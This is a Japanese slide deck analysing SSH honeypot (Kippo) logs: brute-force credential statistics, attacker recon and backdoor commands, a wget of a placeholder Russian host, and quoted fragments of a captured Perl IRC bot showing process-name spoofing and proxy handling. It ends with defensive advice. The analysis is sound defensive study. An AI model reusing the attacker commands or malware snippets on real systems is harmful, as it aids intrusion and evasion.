SlideShare a Scribd company logo
1 of 20
特に結論はありません
Twitter: abend@number3to4
ただのセキュリティエンジニア(Webセキュリティがメインです)
囮として、やってきた攻撃者の動作などを観察するためのもの
あほ面のクマをとらえることができる。
Kippoって、pythonで書かれたものでSSHをシミュレートしたハニーポット
で、簡単に言うと
SSHサービスのふりをした別なもの。
Kippoはシミュレートできるコマンドは限られており、rootでは稼働
できないようになっている。
閉じられた世界で実行するようになっているので、他への影響が少ない。
問題があってもアクセス
できないので、リスクは
少ないw
今日はlogにあった攻撃ログを読み返してみることで、防御に役立てる
ことを目的に、どんな攻撃があったのかを紹介します。
※本当に役立つかは別問題。
Kippoを動かし始めた2014/1/3から現在までのログです。
ログイン可能なユーザはrootで、パスワードは123456(defaultのまま)
本内容は自身の管理外の環境に対して、実施しないでください。
約1か月間で583回(ユニークなIPは253)ログインが成功しているが、
下記2点による影響と思われる。
・rootでのログイン許可
・脆弱なパスワードを設定
116.10.XXX.XXXは、複数日にわたりアクセス(計18回ログインに成功)
しているが、root/adminを試行した後にroot/123456でログインに成功
しており、ログイン後、sftpを起動しようとしてエラーで終了を繰り
返しているため、ツールやbot的なものであると思われる。
認証の失敗回数は、97,980回。最大回数は4,714回で、試行している
クレデンシャルは、辞書登録されているような文字列だった。
多くが中国からでした。
ほとんどがrootでのログイン試行だった。
「admin」、「123456」など定番なもの。「!QAZ@WSX」が上位に含まれて
いるが、USキーボードだもんね。
ユーザ名
パスワード
Kippoには、攻撃者の動作を記録し、再生できる機能がある。
攻撃者のtypoも見逃すことがない。
app-get install poerl
の後のapp-get install
perlがアツい。
攻撃者はいったいどんなことをしていたのか。
大別すると3つに分類される。
② バックドアを仕込む
・adduser .bash
・各種バックドアの仕込み
① 情報収集
・uname –a
・ifconfig
・cat /proc/cpuinfo
③ 侵入痕跡を残さないようにする
・unset HISTLOG
・バックドアの残骸の削除やフォルダ名の頭に.(ドット)つける
① 100Mのファイルをwgetして、通信速度の計測
攻撃者の中でも、何をしたかったのかよく分からない人たちもいました。
② LinuxサーバでWinSP2のサービスパックをwgetして終わり
何をしたかったのか分からない。
別な何かと戦っている
のかもしれない。
③ 展開してないから
wget htt://xxxx.ru/xxx.tar.gz
cd xxx.tar.gz
cdできないなんて。
なんて、無力な存在なんだ。
攻撃者がバックドアを仕込むために、外部のサイトからwgetした
土産を置いていってくれました。
HackTool.Linux.Sshscan.b
DoS.Perl.BBDoS.c
not-a-virus:NetTool.Unix.Mech.a
HackTool.Linux.Shark.a
Backdoor.Perl.Shellbot.s
HackTool.Linux.WuScan.b
※Kasperskyでの検知名
その中の1つピックアップして紹介します。
ゲットしたIRC botをVirusTotalに放り込むと
攻撃者はIRC Serverを介して、被害者の端末を操作できるもので、
ロシアのIRC Serverがセットされていた。
実行プロセス名の偽装
my @fakeps = ("/usr/local/apache/bin/httpd -DSSL",
"/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd",
"spamd child",
"httpd");
my $xproc = $fakeps[rand scalar @fakeps];
$0="$xproc"."0";
IRCに接続するユーザ名もランダムで選択するようになっていた。
Proxyも対応しており、いろいろな環境で動作できるように作られている。
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(d+))?(/S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^http://([^/:]+):(d+)(/S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
ただし、HTTPSに対応していない。
Talkでコマンドを送ると、レスポンスを話してくれる。
ただし、HTTPSに対応していない。
特別なことではありませんが。。。
・rootでのログインは許可しちゃだめ。
・パスワードは安易な文字列にしちゃだめ。
・アカウントの改廃は適宜行おう。
→ root以外にも試行されるかもしれないので。
IRC botだって、使い方間違わなければ、効率化に利用できるはず。
たとえば、 DDoS 何かあるはず、きっと。

More Related Content

What's hot (7)

Twitterでネットストーカーをしよう
TwitterでネットストーカーをしようTwitterでネットストーカーをしよう
Twitterでネットストーカーをしよう
 
USBを保護するUSBGuard
USBを保護するUSBGuardUSBを保護するUSBGuard
USBを保護するUSBGuard
 
モバイルバックエンドもPythonでヨーソロー!
モバイルバックエンドもPythonでヨーソロー!モバイルバックエンドもPythonでヨーソロー!
モバイルバックエンドもPythonでヨーソロー!
 
Public MQTT
Public MQTTPublic MQTT
Public MQTT
 
Pythonのすすめ
PythonのすすめPythonのすすめ
Pythonのすすめ
 
NDEF WriterとOSとPaSoRi
NDEF WriterとOSとPaSoRiNDEF WriterとOSとPaSoRi
NDEF WriterとOSとPaSoRi
 
ドローンのフライトコントローラをPythonで制御してみた話
ドローンのフライトコントローラをPythonで制御してみた話ドローンのフライトコントローラをPythonで制御してみた話
ドローンのフライトコントローラをPythonで制御してみた話
 

Viewers also liked

診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
abend_cve_9999_0001
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
abend_cve_9999_0001
 
Malwat4 20130223 analyzing_android_malware
Malwat4 20130223 analyzing_android_malwareMalwat4 20130223 analyzing_android_malware
Malwat4 20130223 analyzing_android_malware
Ayase
 

Viewers also liked (20)

診断ツールを作ってみようと思う
診断ツールを作ってみようと思う診断ツールを作ってみようと思う
診断ツールを作ってみようと思う
 
サーバ攻撃されてみた
サーバ攻撃されてみたサーバ攻撃されてみた
サーバ攻撃されてみた
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
 
さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2さくらのVPSに来る悪い人を観察する その2
さくらのVPSに来る悪い人を観察する その2
 
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
 
SECCON2014 crypt200
SECCON2014 crypt200SECCON2014 crypt200
SECCON2014 crypt200
 
Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-Trend Micro CTF Asia Pacific & Japan -defensive100-
Trend Micro CTF Asia Pacific & Japan -defensive100-
 
Nmapの真実
Nmapの真実Nmapの真実
Nmapの真実
 
Your hash is.
Your hash is.Your hash is.
Your hash is.
 
電波な話
電波な話電波な話
電波な話
 
セキュリティ・キャンプアワード(2016)発表資料_ハニーポッターへの道
セキュリティ・キャンプアワード(2016)発表資料_ハニーポッターへの道セキュリティ・キャンプアワード(2016)発表資料_ハニーポッターへの道
セキュリティ・キャンプアワード(2016)発表資料_ハニーポッターへの道
 
アセンブラ100 さきゅりてぃ発表用
アセンブラ100 さきゅりてぃ発表用アセンブラ100 さきゅりてぃ発表用
アセンブラ100 さきゅりてぃ発表用
 
Malwat4 20130223 analyzing_android_malware
Malwat4 20130223 analyzing_android_malwareMalwat4 20130223 analyzing_android_malware
Malwat4 20130223 analyzing_android_malware
 
Burpで指定文字列を検索
Burpで指定文字列を検索Burpで指定文字列を検索
Burpで指定文字列を検索
 
The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anyway
 
さくらのVPSに来た攻撃観察記
さくらのVPSに来た攻撃観察記さくらのVPSに来た攻撃観察記
さくらのVPSに来た攻撃観察記
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
 
とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選とある診断員のSECCONオンライン予選
とある診断員のSECCONオンライン予選
 
Nmapの真実(続)
Nmapの真実(続)Nmapの真実(続)
Nmapの真実(続)
 

More from abend_cve_9999_0001

フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
abend_cve_9999_0001
 
Cybozu.com security challengeに参加したよ
Cybozu.com  security challengeに参加したよCybozu.com  security challengeに参加したよ
Cybozu.com security challengeに参加したよ
abend_cve_9999_0001
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
abend_cve_9999_0001
 
Webアプリって奥が深いんです
Webアプリって奥が深いんですWebアプリって奥が深いんです
Webアプリって奥が深いんです
abend_cve_9999_0001
 

More from abend_cve_9999_0001 (20)

Bypassing anti virus using powershell
Bypassing anti virus using powershellBypassing anti virus using powershell
Bypassing anti virus using powershell
 
ポートスキャンを擬人化してみた
ポートスキャンを擬人化してみたポートスキャンを擬人化してみた
ポートスキャンを擬人化してみた
 
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)
 
Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)
 
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介
 
バックアップファイルの管理
バックアップファイルの管理バックアップファイルの管理
バックアップファイルの管理
 
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"
 
Nmap 9つの真実
Nmap 9つの真実Nmap 9つの真実
Nmap 9つの真実
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
 
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
 
Cybozu.com security challengeに参加したよ
Cybozu.com  security challengeに参加したよCybozu.com  security challengeに参加したよ
Cybozu.com security challengeに参加したよ
 
RuCTFEに参加したよ
RuCTFEに参加したよRuCTFEに参加したよ
RuCTFEに参加したよ
 
Not CVE-2013-xxxx
Not CVE-2013-xxxxNot CVE-2013-xxxx
Not CVE-2013-xxxx
 
フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編フリーでできるセキュリティ インフラ(Nessus)編
フリーでできるセキュリティ インフラ(Nessus)編
 
Cve 2013-2251
Cve 2013-2251Cve 2013-2251
Cve 2013-2251
 
クリックジャッキング
クリックジャッキングクリックジャッキング
クリックジャッキング
 
CVE-2010-1870
CVE-2010-1870CVE-2010-1870
CVE-2010-1870
 
Webアプリって奥が深いんです
Webアプリって奥が深いんですWebアプリって奥が深いんです
Webアプリって奥が深いんです
 

ハニーポットで見る攻撃手法(特に結論はありません)